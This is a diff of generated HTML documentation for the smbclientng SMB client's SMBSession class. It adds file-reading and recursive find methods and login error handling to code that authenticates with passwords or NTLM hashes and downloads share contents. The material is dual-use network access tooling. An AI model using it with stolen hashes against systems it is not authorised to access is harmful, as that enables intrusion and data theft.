
    -
    27    def wrapper(*args, **kwargs):
    -28        self, arguments,command  = args[0], args[1], args[2]
    -29        if len(arguments) != 0:
    -30            return func(*args, **kwargs)
    -31        else:
    -32            self.commandCompleterObject.print_help(command=command)
    -33            return None
    +            
    29    def wrapper(*args, **kwargs):
    +30        self, arguments,command  = args[0], args[1], args[2]
    +31        if len(arguments) != 0:
    +32            return func(*args, **kwargs)
    +33        else:
    +34            self.commandCompleterObject.print_help(command=command)
    +35            return None
     
    @@ -2349,15 +2529,15 @@

    -
    37    def wrapper(*args, **kwargs):
    -38        self, arguments,command  = args[0], args[1], args[2]
    -39        #
    -40        self.smbSession.ping_smb_session()
    -41        if self.smbSession.connected:
    -42            return func(*args, **kwargs)
    -43        else:
    -44            print("[!] SMB Session is disconnected.")
    -45            return None
    +            
    39    def wrapper(*args, **kwargs):
    +40        self, arguments,command  = args[0], args[1], args[2]
    +41        #
    +42        self.smbSession.ping_smb_session()
    +43        if self.smbSession.connected:
    +44            return func(*args, **kwargs)
    +45        else:
    +46            print("[!] SMB Session is disconnected.")
    +47            return None
     
    @@ -2375,15 +2555,15 @@

    -
    37    def wrapper(*args, **kwargs):
    -38        self, arguments,command  = args[0], args[1], args[2]
    -39        #
    -40        self.smbSession.ping_smb_session()
    -41        if self.smbSession.connected:
    -42            return func(*args, **kwargs)
    -43        else:
    -44            print("[!] SMB Session is disconnected.")
    -45            return None
    +            
    39    def wrapper(*args, **kwargs):
    +40        self, arguments,command  = args[0], args[1], args[2]
    +41        #
    +42        self.smbSession.ping_smb_session()
    +43        if self.smbSession.connected:
    +44            return func(*args, **kwargs)
    +45        else:
    +46            print("[!] SMB Session is disconnected.")
    +47            return None
     
    @@ -2401,13 +2581,13 @@

    -
    27    def wrapper(*args, **kwargs):
    -28        self, arguments,command  = args[0], args[1], args[2]
    -29        if len(arguments) != 0:
    -30            return func(*args, **kwargs)
    -31        else:
    -32            self.commandCompleterObject.print_help(command=command)
    -33            return None
    +            
    29    def wrapper(*args, **kwargs):
    +30        self, arguments,command  = args[0], args[1], args[2]
    +31        if len(arguments) != 0:
    +32            return func(*args, **kwargs)
    +33        else:
    +34            self.commandCompleterObject.print_help(command=command)
    +35            return None
     
    diff --git a/documentation/smbclientng/core/SMBSession.html b/documentation/smbclientng/core/SMBSession.html index 7ff2290..8f9b613 100644 --- a/documentation/smbclientng/core/SMBSession.html +++ b/documentation/smbclientng/core/SMBSession.html @@ -84,6 +84,12 @@

    API Documentation

  • close_smb_session
  • +
  • + read_file +
  • +
  • + find +
  • get_file
  • @@ -166,906 +172,995 @@

    5# Date created : 20 may 2024 6 7 - 8import impacket.smbconnection - 9import ntpath - 10import os - 11import re - 12import traceback - 13from smbclientng.core.LocalFileIO import LocalFileIO - 14from smbclientng.core.utils import b_filesize, STYPE_MASK - 15 + 8import io + 9import impacket.smbconnection + 10import ntpath + 11import os + 12import re + 13import traceback + 14from smbclientng.core.LocalFileIO import LocalFileIO + 15from smbclientng.core.utils import b_filesize, STYPE_MASK 16 - 17class SMBSession(object): - 18 """ - 19 Class SMBSession is designed to handle the session management for SMB (Server Message Block) protocol connections. - 20 It provides functionalities to connect to an SMB server, authenticate using either NTLM or Kerberos, and manage SMB shares. - 21 - 22 Attributes: - 23 address (str): The IP address or hostname of the SMB server. - 24 domain (str): The domain name for SMB server authentication. - 25 username (str): The username for SMB server authentication. - 26 password (str): The password for SMB server authentication. - 27 lmhash (str): The LM hash of the user's password, if available. - 28 nthash (str): The NT hash of the user's password, if available. - 29 use_kerberos (bool): A flag to determine whether to use Kerberos for authentication. - 30 kdcHost (str): The Key Distribution Center (KDC) host for Kerberos authentication. - 31 debug (bool): A flag to enable debug output. - 32 smbClient (object): The SMB client object used for the connection. - 33 connected (bool): A flag to check the status of the connection. - 34 smb_share (str): The current SMB share in use. - 35 smb_path (str): The current path within the SMB share. - 36 - 37 Methods: - 38 __init__(address, domain, username, password, lmhash, nthash, use_kerberos=False, kdcHost=None, debug=False): - 39 Initializes the SMBSession with the specified parameters. - 40 init_smb_session(): - 41 Initializes the SMB session by connecting to the server and authenticating using the specified method. - 42 """ - 43 - 44 def __init__(self, address, domain, username, password, lmhash, nthash, use_kerberos=False, kdcHost=None, config=None): - 45 super(SMBSession, self).__init__() - 46 # Objects - 47 self.config = config - 48 - 49 # Target server - 50 self.address = address - 51 - 52 # Credentials - 53 self.domain = domain - 54 self.username = username - 55 self.password = password - 56 self.lmhash = lmhash - 57 self.nthash = nthash - 58 self.use_kerberos = use_kerberos - 59 self.kdcHost = kdcHost - 60 - 61 self.smbClient = None - 62 self.connected = False - 63 - 64 self.available_shares = {} - 65 self.smb_share = None - 66 self.smb_cwd = "" - 67 - 68 self.list_shares() - 69 - 70 # Connect and disconnect SMB session - 71 - 72 def init_smb_session(self): - 73 """ - 74 Initializes and establishes a session with the SMB server. - 75 - 76 This method sets up the SMB connection using either Kerberos or NTLM authentication based on the configuration. - 77 It attempts to connect to the SMB server specified by the `address` attribute and authenticate using the credentials provided during the object's initialization. - 78 - 79 The method will print debug information if the `debug` attribute is set to True. Upon successful connection and authentication, it sets the `connected` attribute to True. - 80 - 81 Returns: - 82 bool: True if the connection and authentication are successful, False otherwise. - 83 """ - 84 - 85 if self.config.debug: - 86 print("[debug] [>] Connecting to remote SMB server '%s' ... " % self.address) - 87 try: - 88 self.smbClient = impacket.smbconnection.SMBConnection( - 89 remoteName=self.address, - 90 remoteHost=self.address, - 91 sess_port=int(445) - 92 ) - 93 except OSError as err: - 94 print("[!] %s" % err) - 95 self.smbClient = None - 96 - 97 self.connected = False - 98 if self.smbClient is not None: - 99 if self.use_kerberos: -100 if self.config.debug: -101 print("[debug] [>] Authenticating as '%s\\%s' with kerberos ... " % (self.domain, self.username)) -102 self.connected = self.smbClient.kerberosLogin( -103 user=self.username, -104 password=self.password, -105 domain=self.domain, -106 lmhash=self.lmhash, -107 nthash=self.nthash, -108 aesKey=self.aesKey, -109 kdcHost=self.kdcHost -110 ) -111 -112 else: -113 if self.config.debug: -114 print("[debug] [>] Authenticating as '%s\\%s' with NTLM ... " % (self.domain, self.username)) -115 self.connected = self.smbClient.login( -116 user=self.username, -117 password=self.password, -118 domain=self.domain, -119 lmhash=self.lmhash, -120 nthash=self.nthash -121 ) -122 -123 if self.connected: -124 print("[+] Successfully authenticated to '%s' as '%s\\%s'!" % (self.address, self.domain, self.username)) -125 else: -126 print("[!] Failed to authenticate to '%s' as '%s\\%s'!" % (self.address, self.domain, self.username)) -127 -128 return self.connected -129 -130 def close_smb_session(self): -131 """ -132 Closes the current SMB session by disconnecting the SMB client. -133 -134 This method ensures that the SMB client connection is properly closed. It checks if the client is connected -135 and if so, it closes the connection and resets the connection status. + 17 + 18class SMBSession(object): + 19 """ + 20 Class SMBSession is designed to handle the session management for SMB (Server Message Block) protocol connections. + 21 It provides functionalities to connect to an SMB server, authenticate using either NTLM or Kerberos, and manage SMB shares. + 22 + 23 Attributes: + 24 address (str): The IP address or hostname of the SMB server. + 25 domain (str): The domain name for SMB server authentication. + 26 username (str): The username for SMB server authentication. + 27 password (str): The password for SMB server authentication. + 28 lmhash (str): The LM hash of the user's password, if available. + 29 nthash (str): The NT hash of the user's password, if available. + 30 use_kerberos (bool): A flag to determine whether to use Kerberos for authentication. + 31 kdcHost (str): The Key Distribution Center (KDC) host for Kerberos authentication. + 32 debug (bool): A flag to enable debug output. + 33 smbClient (object): The SMB client object used for the connection. + 34 connected (bool): A flag to check the status of the connection. + 35 smb_share (str): The current SMB share in use. + 36 smb_path (str): The current path within the SMB share. + 37 + 38 Methods: + 39 __init__(address, domain, username, password, lmhash, nthash, use_kerberos=False, kdcHost=None, debug=False): + 40 Initializes the SMBSession with the specified parameters. + 41 init_smb_session(): + 42 Initializes the SMB session by connecting to the server and authenticating using the specified method. + 43 """ + 44 + 45 def __init__(self, address, domain, username, password, lmhash, nthash, use_kerberos=False, kdcHost=None, config=None): + 46 super(SMBSession, self).__init__() + 47 # Objects + 48 self.config = config + 49 + 50 # Target server + 51 self.address = address + 52 + 53 # Credentials + 54 self.domain = domain + 55 self.username = username + 56 self.password = password + 57 self.lmhash = lmhash + 58 self.nthash = nthash + 59 self.use_kerberos = use_kerberos + 60 self.kdcHost = kdcHost + 61 + 62 self.smbClient = None + 63 self.connected = False + 64 + 65 self.available_shares = {} + 66 self.smb_share = None + 67 self.smb_cwd = "" + 68 + 69 self.list_shares() + 70 + 71 # Connect and disconnect SMB session + 72 + 73 def init_smb_session(self): + 74 """ + 75 Initializes and establishes a session with the SMB server. + 76 + 77 This method sets up the SMB connection using either Kerberos or NTLM authentication based on the configuration. + 78 It attempts to connect to the SMB server specified by the `address` attribute and authenticate using the credentials provided during the object's initialization. + 79 + 80 The method will print debug information if the `debug` attribute is set to True. Upon successful connection and authentication, it sets the `connected` attribute to True. + 81 + 82 Returns: + 83 bool: True if the connection and authentication are successful, False otherwise. + 84 """ + 85 + 86 self.connected = False + 87 + 88 if self.config.debug: + 89 print("[debug] [>] Connecting to remote SMB server '%s' ... " % self.address) + 90 try: + 91 self.smbClient = impacket.smbconnection.SMBConnection( + 92 remoteName=self.address, + 93 remoteHost=self.address, + 94 sess_port=int(445) + 95 ) + 96 except OSError as err: + 97 print("[!] %s" % err) + 98 self.smbClient = None + 99 +100 if self.smbClient is not None: +101 if self.use_kerberos: +102 if self.config.debug: +103 print("[debug] [>] Authenticating as '%s\\%s' with kerberos ... " % (self.domain, self.username)) +104 try: +105 self.connected = self.smbClient.kerberosLogin( +106 user=self.username, +107 password=self.password, +108 domain=self.domain, +109 lmhash=self.lmhash, +110 nthash=self.nthash, +111 aesKey=self.aesKey, +112 kdcHost=self.kdcHost +113 ) +114 except impacket.smbconnection.SessionError as err: +115 if self.config.debug: +116 traceback.print_exc() +117 print("[!] Could not login: %s" % err) +118 self.connected = False +119 +120 else: +121 if self.config.debug: +122 print("[debug] [>] Authenticating as '%s\\%s' with NTLM ... " % (self.domain, self.username)) +123 try: +124 self.connected = self.smbClient.login( +125 user=self.username, +126 password=self.password, +127 domain=self.domain, +128 lmhash=self.lmhash, +129 nthash=self.nthash +130 ) +131 except impacket.smbconnection.SessionError as err: +132 if self.config.debug: +133 traceback.print_exc() +134 print("[!] Could not login: %s" % err) +135 self.connected = False 136 -137 Raises: -138 Exception: If the SMB client is not initialized or if there's an error during the disconnection process. -139 """ -140 -141 if self.smbClient is not None: -142 if self.connected: -143 self.smbClient.close() -144 self.connected = False -145 print("[+] SMB connection closed successfully.") -146 else: -147 print("[!] No active SMB connection to close.") -148 else: -149 raise Exception("SMB client is not initialized.") +137 if self.connected: +138 print("[+] Successfully authenticated to '%s' as '%s\\%s'!" % (self.address, self.domain, self.username)) +139 else: +140 print("[!] Failed to authenticate to '%s' as '%s\\%s'!" % (self.address, self.domain, self.username)) +141 +142 return self.connected +143 +144 def close_smb_session(self): +145 """ +146 Closes the current SMB session by disconnecting the SMB client. +147 +148 This method ensures that the SMB client connection is properly closed. It checks if the client is connected +149 and if so, it closes the connection and resets the connection status. 150 -151 # Operations -152 -153 def get_file(self, path=None, keepRemotePath=False): -154 """ -155 Retrieves a file from the specified path on the SMB share. -156 -157 This method attempts to retrieve a file from the given path within the currently connected SMB share. -158 If the path points to a directory, it skips the retrieval. It handles file retrieval by creating a local -159 file object and writing the contents of the remote file to it using the SMB client's getFile method. -160 -161 Parameters: -162 path (str): The path of the file to retrieve. If None, uses the current smb_path. -163 -164 Returns: -165 None -166 """ -167 -168 tmp_file_path = self.smb_cwd + ntpath.sep + path -169 matches = self.smbClient.listPath( -170 shareName=self.smb_share, -171 path=tmp_file_path -172 ) -173 -174 for entry in matches: -175 if entry.is_directory(): -176 print("[>] Skipping '%s' because it is a directory." % tmp_file_path) -177 else: -178 try: -179 if ntpath.sep in path: -180 outputfile = ntpath.dirname(path) + ntpath.sep + entry.get_longname() -181 else: -182 outputfile = entry.get_longname() -183 f = LocalFileIO( -184 mode="wb", -185 path=outputfile, -186 expected_size=entry.get_filesize(), -187 debug=self.config.debug, -188 keepRemotePath=keepRemotePath -189 ) -190 self.smbClient.getFile( -191 shareName=self.smb_share, -192 pathName=tmp_file_path, -193 callback=f.write -194 ) -195 f.close() -196 except (BrokenPipeError, KeyboardInterrupt) as e: -197 f.close() -198 print("\x1b[v\x1b[o\r[!] Interrupted.") -199 self.close_smb_session() -200 self.init_smb_session() -201 -202 return None -203 -204 def get_file_recursively(self, path=None): -205 """ -206 Recursively retrieves files from a specified path on the SMB share. -207 -208 This method navigates through all directories starting from the given path, -209 and downloads all files found. It handles directories recursively, ensuring -210 that all nested files are retrieved. The method skips over directory entries -211 and handles errors gracefully, attempting to continue the operation where possible. -212 -213 Parameters: -214 path (str): The initial directory path from which to start the recursive file retrieval. -215 If None, it starts from the root of the configured SMB share. -216 """ -217 -218 def recurse_action(base_dir="", path=[]): -219 remote_smb_path = base_dir + ntpath.sep.join(path) -220 entries = self.smbClient.listPath( -221 shareName=self.smb_share, -222 path=remote_smb_path + '\\*' -223 ) -224 if len(entries) != 0: -225 files = [entry for entry in entries if not entry.is_directory()] -226 directories = [entry for entry in entries if entry.is_directory() and entry.get_longname() not in [".", ".."]] -227 -228 # Files -229 if len(files) != 0: -230 print("[>] Retrieving files of '%s'" % remote_smb_path) -231 for entry_file in files: -232 if not entry_file.is_directory(): -233 f = LocalFileIO( -234 mode="wb", -235 path=remote_smb_path + ntpath.sep + entry_file.get_longname(), -236 expected_size=entry_file.get_filesize(), -237 debug=self.config.debug -238 ) -239 try: -240 self.smbClient.getFile( -241 shareName=self.smb_share, -242 pathName=remote_smb_path + ntpath.sep + entry_file.get_longname(), -243 callback=f.write -244 ) -245 f.close() -246 except BrokenPipeError as err: -247 f.set_error(message="[bold red]Failed downloading '%s': %s" % (f.path, err)) -248 f.close(remove=True) -249 break -250 except Exception as err: -251 f.set_error(message="[bold red]Failed downloading '%s': %s" % (f.path, err)) -252 f.close(remove=True) -253 -254 # Directories -255 for entry_directory in directories: -256 if entry_directory.is_directory(): -257 recurse_action( -258 base_dir=self.smb_cwd, -259 path=path+[entry_directory.get_longname()] -260 ) -261 # Entrypoint -262 try: -263 recurse_action( -264 base_dir=self.smb_cwd, -265 path=[path] -266 ) -267 except (BrokenPipeError, KeyboardInterrupt) as e: -268 print("\x1b[v\x1b[o\r[!] Interrupted.") -269 self.close_smb_session() -270 self.init_smb_session() -271 -272 def info(self, share=True, server=True): -273 """ -274 Displays information about the server and optionally the shares. -275 -276 This method prints detailed information about the server's characteristics such as NetBIOS names, DNS details, OS information, and SMB capabilities. If the `share` parameter is set to True and a share is currently set, it will also attempt to display information about the share. -277 -278 Parameters: -279 share (bool): If True, display information about the current share. -280 server (bool): If True, display information about the server. -281 -282 Returns: -283 None -284 """ -285 -286 if server: -287 if self.config.no_colors: -288 print("[+] Server:") -289 print(" ├─NetBIOS:") -290 print(" │ ├─ NetBIOS Hostname ──────── : %s" % (self.smbClient.getServerName())) -291 print(" │ └─ NetBIOS Domain ────────── : %s" % (self.smbClient.getServerDomain())) -292 print(" ├─DNS:") -293 print(" │ ├─ DNS Hostname ──────────── : %s" % (self.smbClient.getServerDNSHostName())) -294 print(" │ └─ DNS Domain ────────────── : %s" % (self.smbClient.getServerDNSDomainName())) -295 print(" ├─OS:") -296 print(" │ ├─ OS Name ───────────────── : %s" % (self.smbClient.getServerOS())) -297 print(" │ └─ OS Version ────────────── : %s.%s.%s" % (self.smbClient.getServerOSMajor(), self.smbClient.getServerOSMinor(), self.smbClient.getServerOSBuild())) -298 print(" ├─Server:") -299 print(" │ ├─ Signing Required ──────── : %s" % (self.smbClient.isSigningRequired())) -300 print(" │ ├─ Login Required ────────── : %s" % (self.smbClient.isLoginRequired())) -301 print(" │ ├─ Supports NTLMv2 ───────── : %s" % (self.smbClient.doesSupportNTLMv2())) -302 MaxReadSize = self.smbClient.getIOCapabilities()["MaxReadSize"] -303 print(" │ ├─ Max size of read chunk ── : %d bytes (%s)" % (MaxReadSize, b_filesize(MaxReadSize))) -304 MaxWriteSize = self.smbClient.getIOCapabilities()["MaxWriteSize"] -305 print(" │ └─ Max size of write chunk ─ : %d bytes (%s)" % (MaxWriteSize, b_filesize(MaxWriteSize))) -306 print(" └─") -307 else: -308 print("[+] Server:") -309 print(" ├─NetBIOS:") -310 print(" │ ├─ \x1b[94mNetBIOS Hostname\x1b[0m \x1b[90m────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerName())) -311 print(" │ └─ \x1b[94mNetBIOS Domain\x1b[0m \x1b[90m──────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerDomain())) -312 print(" ├─DNS:") -313 print(" │ ├─ \x1b[94mDNS Hostname\x1b[0m \x1b[90m────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerDNSHostName())) -314 print(" │ └─ \x1b[94mDNS Domain\x1b[0m \x1b[90m──────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerDNSDomainName())) -315 print(" ├─OS:") -316 print(" │ ├─ \x1b[94mOS Name\x1b[0m \x1b[90m─────────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerOS())) -317 print(" │ └─ \x1b[94mOS Version\x1b[0m \x1b[90m──────────────\x1b[0m : \x1b[93m%s.%s.%s\x1b[0m" % (self.smbClient.getServerOSMajor(), self.smbClient.getServerOSMinor(), self.smbClient.getServerOSBuild())) -318 print(" ├─Server:") -319 print(" │ ├─ \x1b[94mSigning Required\x1b[0m \x1b[90m────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.isSigningRequired())) -320 print(" │ ├─ \x1b[94mLogin Required\x1b[0m \x1b[90m──────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.isLoginRequired())) -321 print(" │ ├─ \x1b[94mSupports NTLMv2\x1b[0m \x1b[90m─────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.doesSupportNTLMv2())) -322 MaxReadSize = self.smbClient.getIOCapabilities()["MaxReadSize"] -323 print(" │ ├─ \x1b[94mMax size of read chunk\x1b[0m \x1b[90m──\x1b[0m : \x1b[93m%d bytes (%s)\x1b[0m" % (MaxReadSize, b_filesize(MaxReadSize))) -324 MaxWriteSize = self.smbClient.getIOCapabilities()["MaxWriteSize"] -325 print(" │ └─ \x1b[94mMax size of write chunk\x1b[0m \x1b[90m─\x1b[0m : \x1b[93m%d bytes (%s)\x1b[0m" % (MaxWriteSize, b_filesize(MaxWriteSize))) -326 print(" └─") -327 -328 if share and self.smb_share is not None: -329 share_name = self.available_shares.get(self.smb_share.lower(), "")["name"] -330 share_comment = self.available_shares.get(self.smb_share.lower(), "")["comment"] -331 share_type = self.available_shares.get(self.smb_share.lower(), "")["type"] -332 share_type =', '.join([s.replace("STYPE_","") for s in share_type]) -333 share_rawtype = self.available_shares.get(self.smb_share.lower(), "")["rawtype"] -334 if self.config.no_colors: -335 print("\n[+] Share:") -336 print(" ├─ Name ──────────── : %s" % (share_name)) -337 print(" ├─ Description ───── : %s" % (share_comment)) -338 print(" ├─ Type ──────────── : %s" % (share_type)) -339 print(" └─ Raw type value ── : %s" % (share_rawtype)) -340 else: -341 print("\n[+] Share:") -342 print(" ├─ \x1b[94mName\x1b[0m \x1b[90m────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (share_name)) -343 print(" ├─ \x1b[94mDescription\x1b[0m \x1b[90m─────\x1b[0m : \x1b[93m%s\x1b[0m" % (share_comment)) -344 print(" ├─ \x1b[94mType\x1b[0m \x1b[90m────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (share_type)) -345 print(" └─ \x1b[94mRaw type value\x1b[0m \x1b[90m──\x1b[0m : \x1b[93m%s\x1b[0m" % (share_rawtype)) -346 -347 def list_contents(self, path=None): -348 """ -349 Lists the contents of a specified directory on the SMB share. -350 -351 This method retrieves the contents of a directory specified by `shareName` and `path`. If `shareName` or `path` -352 is not provided, it defaults to the instance's current SMB share or path. The method returns a dictionary with -353 the long names of the files and directories as keys and their respective SMB entry objects as values. +151 Raises: +152 Exception: If the SMB client is not initialized or if there's an error during the disconnection process. +153 """ +154 +155 if self.smbClient is not None: +156 if self.connected: +157 self.smbClient.close() +158 self.connected = False +159 if self.config.debug: +160 print("[+] SMB connection closed successfully.") +161 else: +162 if self.config.debug: +163 print("[!] No active SMB connection to close.") +164 else: +165 raise Exception("SMB client is not initialized.") +166 +167 # Operations +168 +169 def read_file(self, path=None): +170 if self.path_isfile(path=path): +171 tmp_file_path = self.smb_cwd + ntpath.sep + path +172 matches = self.smbClient.listPath( +173 shareName=self.smb_share, +174 path=tmp_file_path +175 ) +176 +177 fh = io.BytesIO() +178 try: +179 # opening the files in streams instead of mounting shares allows +180 # for running the script from unprivileged containers +181 self.smbClient.getFile(self.smb_share, tmp_file_path, fh.write) +182 except impacket.smbconnection.SessionError as e: +183 return None +184 rawdata = fh.getvalue() +185 fh.close() +186 return rawdata +187 else: +188 print("[!] Remote path '%s' is not a file." % path) +189 +190 def find(self, paths=[], callback=None): +191 def recurse_action(paths=[], depth=0, callback=None): +192 if callback is None: +193 return [] +194 next_directories_to_explore = [] +195 for path in paths: +196 remote_smb_path = ntpath.normpath(self.smb_cwd + ntpath.sep + path) +197 entries = [] +198 +199 try: +200 entries = self.smbClient.listPath( +201 shareName=self.smb_share, +202 path=(remote_smb_path + ntpath.sep + '*') +203 ) +204 except impacket.smbconnection.SessionError as err: +205 continue +206 # Remove dot names +207 entries = [e for e in entries if e.get_longname() not in [".", ".."]] +208 # Sort the entries ignoring case +209 entries = sorted(entries, key=lambda x:x.get_longname().lower()) +210 +211 for entry in entries: +212 if entry.is_directory(): +213 callback(entry, path + entry.get_longname() + ntpath.sep, depth) +214 else: +215 callback(entry, path + entry.get_longname(), depth) +216 +217 # Next directories to explore +218 for entry in entries: +219 if entry.is_directory(): +220 next_directories_to_explore.append(path + entry.get_longname() + ntpath.sep) +221 +222 return next_directories_to_explore +223 # +224 if callback is not None: +225 depth = 0 +226 while len(paths) != 0: +227 paths = recurse_action( +228 paths=paths, +229 depth=depth, +230 callback=callback +231 ) +232 depth = depth + 1 +233 else: +234 print("[!] SMBSession.find(), callback function cannot be None.") +235 +236 def get_file(self, path=None, keepRemotePath=False): +237 """ +238 Retrieves a file from the specified path on the SMB share. +239 +240 This method attempts to retrieve a file from the given path within the currently connected SMB share. +241 If the path points to a directory, it skips the retrieval. It handles file retrieval by creating a local +242 file object and writing the contents of the remote file to it using the SMB client's getFile method. +243 +244 Parameters: +245 path (str): The path of the file to retrieve. If None, uses the current smb_path. +246 +247 Returns: +248 None +249 """ +250 +251 tmp_file_path = self.smb_cwd + ntpath.sep + path +252 matches = self.smbClient.listPath( +253 shareName=self.smb_share, +254 path=tmp_file_path +255 ) +256 +257 for entry in matches: +258 if entry.is_directory(): +259 print("[>] Skipping '%s' because it is a directory." % tmp_file_path) +260 else: +261 try: +262 if ntpath.sep in path: +263 outputfile = ntpath.dirname(path) + ntpath.sep + entry.get_longname() +264 else: +265 outputfile = entry.get_longname() +266 f = LocalFileIO( +267 mode="wb", +268 path=outputfile, +269 expected_size=entry.get_filesize(), +270 debug=self.config.debug, +271 keepRemotePath=keepRemotePath +272 ) +273 self.smbClient.getFile( +274 shareName=self.smb_share, +275 pathName=tmp_file_path, +276 callback=f.write +277 ) +278 f.close() +279 except (BrokenPipeError, KeyboardInterrupt) as e: +280 f.close() +281 print("\x1b[v\x1b[o\r[!] Interrupted.") +282 self.close_smb_session() +283 self.init_smb_session() +284 +285 return None +286 +287 def get_file_recursively(self, path=None): +288 """ +289 Recursively retrieves files from a specified path on the SMB share. +290 +291 This method navigates through all directories starting from the given path, +292 and downloads all files found. It handles directories recursively, ensuring +293 that all nested files are retrieved. The method skips over directory entries +294 and handles errors gracefully, attempting to continue the operation where possible. +295 +296 Parameters: +297 path (str): The initial directory path from which to start the recursive file retrieval. +298 If None, it starts from the root of the configured SMB share. +299 """ +300 +301 def recurse_action(base_dir="", path=[]): +302 remote_smb_path = base_dir + ntpath.sep.join(path) +303 entries = self.smbClient.listPath( +304 shareName=self.smb_share, +305 path=remote_smb_path + '\\*' +306 ) +307 if len(entries) != 0: +308 files = [entry for entry in entries if not entry.is_directory()] +309 directories = [entry for entry in entries if entry.is_directory() and entry.get_longname() not in [".", ".."]] +310 +311 # Files +312 if len(files) != 0: +313 print("[>] Retrieving files of '%s'" % remote_smb_path) +314 for entry_file in files: +315 if not entry_file.is_directory(): +316 f = LocalFileIO( +317 mode="wb", +318 path=remote_smb_path + ntpath.sep + entry_file.get_longname(), +319 expected_size=entry_file.get_filesize(), +320 debug=self.config.debug +321 ) +322 try: +323 self.smbClient.getFile( +324 shareName=self.smb_share, +325 pathName=remote_smb_path + ntpath.sep + entry_file.get_longname(), +326 callback=f.write +327 ) +328 f.close() +329 except BrokenPipeError as err: +330 f.set_error(message="[bold red]Failed downloading '%s': %s" % (f.path, err)) +331 f.close(remove=True) +332 break +333 except Exception as err: +334 f.set_error(message="[bold red]Failed downloading '%s': %s" % (f.path, err)) +335 f.close(remove=True) +336 +337 # Directories +338 for entry_directory in directories: +339 if entry_directory.is_directory(): +340 recurse_action( +341 base_dir=self.smb_cwd, +342 path=path+[entry_directory.get_longname()] +343 ) +344 # Entrypoint +345 try: +346 recurse_action( +347 base_dir=self.smb_cwd, +348 path=[path] +349 ) +350 except (BrokenPipeError, KeyboardInterrupt) as e: +351 print("\x1b[v\x1b[o\r[!] Interrupted.") +352 self.close_smb_session() +353 self.init_smb_session() 354 -355 Args: -356 shareName (str, optional): The name of the SMB share. Defaults to the current SMB share if None. -357 path (str, optional): The directory path to list contents from. Defaults to the current path if None. +355 def info(self, share=True, server=True): +356 """ +357 Displays information about the server and optionally the shares. 358 -359 Returns: -360 dict: A dictionary with file and directory names as keys and their SMB entry objects as values. -361 """ -362 -363 if path is None or len(path) == 0: -364 path = self.smb_cwd -365 path = path.rstrip(ntpath.sep) + ntpath.sep + "*" -366 -367 contents = {} -368 entries = self.smbClient.listPath( -369 shareName=self.smb_share, -370 path=path -371 ) -372 for entry in entries: -373 contents[entry.get_longname()] = entry -374 -375 return contents -376 -377 def list_shares(self): -378 """ -379 Lists all the shares available on the connected SMB server. -380 -381 This method queries the SMB server to retrieve a list of all available shares. It populates the `shares` dictionary -382 with key-value pairs where the key is the share name and the value is a dictionary containing details about the share -383 such as its name, type, raw type, and any comments associated with the share. -384 -385 Returns: -386 dict: A dictionary containing information about each share available on the server. -387 """ -388 -389 self.available_shares = {} -390 -391 if self.connected: -392 if self.smbClient is not None: -393 resp = self.smbClient.listShares() -394 -395 for share in resp: -396 # SHARE_INFO_1 structure (lmshare.h) -397 # https://learn.microsoft.com/en-us/windows/win32/api/lmshare/ns-lmshare-share_info_1 -398 sharename = share["shi1_netname"][:-1] -399 sharecomment = share["shi1_remark"][:-1] -400 sharetype = share["shi1_type"] -401 -402 self.available_shares[sharename.lower()] = { -403 "name": sharename, -404 "type": STYPE_MASK(sharetype), -405 "rawtype": sharetype, -406 "comment": sharecomment -407 } -408 else: -409 print("[!] Error: SMBSession.smbClient is None.") +359 This method prints detailed information about the server's characteristics such as NetBIOS names, DNS details, OS information, and SMB capabilities. If the `share` parameter is set to True and a share is currently set, it will also attempt to display information about the share. +360 +361 Parameters: +362 share (bool): If True, display information about the current share. +363 server (bool): If True, display information about the server. +364 +365 Returns: +366 None +367 """ +368 +369 if server: +370 if self.config.no_colors: +371 print("[+] Server:") +372 print(" ├─NetBIOS:") +373 print(" │ ├─ NetBIOS Hostname ──────── : %s" % (self.smbClient.getServerName())) +374 print(" │ └─ NetBIOS Domain ────────── : %s" % (self.smbClient.getServerDomain())) +375 print(" ├─DNS:") +376 print(" │ ├─ DNS Hostname ──────────── : %s" % (self.smbClient.getServerDNSHostName())) +377 print(" │ └─ DNS Domain ────────────── : %s" % (self.smbClient.getServerDNSDomainName())) +378 print(" ├─OS:") +379 print(" │ ├─ OS Name ───────────────── : %s" % (self.smbClient.getServerOS())) +380 print(" │ └─ OS Version ────────────── : %s.%s.%s" % (self.smbClient.getServerOSMajor(), self.smbClient.getServerOSMinor(), self.smbClient.getServerOSBuild())) +381 print(" ├─Server:") +382 print(" │ ├─ Signing Required ──────── : %s" % (self.smbClient.isSigningRequired())) +383 print(" │ ├─ Login Required ────────── : %s" % (self.smbClient.isLoginRequired())) +384 print(" │ ├─ Supports NTLMv2 ───────── : %s" % (self.smbClient.doesSupportNTLMv2())) +385 MaxReadSize = self.smbClient.getIOCapabilities()["MaxReadSize"] +386 print(" │ ├─ Max size of read chunk ── : %d bytes (%s)" % (MaxReadSize, b_filesize(MaxReadSize))) +387 MaxWriteSize = self.smbClient.getIOCapabilities()["MaxWriteSize"] +388 print(" │ └─ Max size of write chunk ─ : %d bytes (%s)" % (MaxWriteSize, b_filesize(MaxWriteSize))) +389 print(" └─") +390 else: +391 print("[+] Server:") +392 print(" ├─NetBIOS:") +393 print(" │ ├─ \x1b[94mNetBIOS Hostname\x1b[0m \x1b[90m────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerName())) +394 print(" │ └─ \x1b[94mNetBIOS Domain\x1b[0m \x1b[90m──────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerDomain())) +395 print(" ├─DNS:") +396 print(" │ ├─ \x1b[94mDNS Hostname\x1b[0m \x1b[90m────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerDNSHostName())) +397 print(" │ └─ \x1b[94mDNS Domain\x1b[0m \x1b[90m──────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerDNSDomainName())) 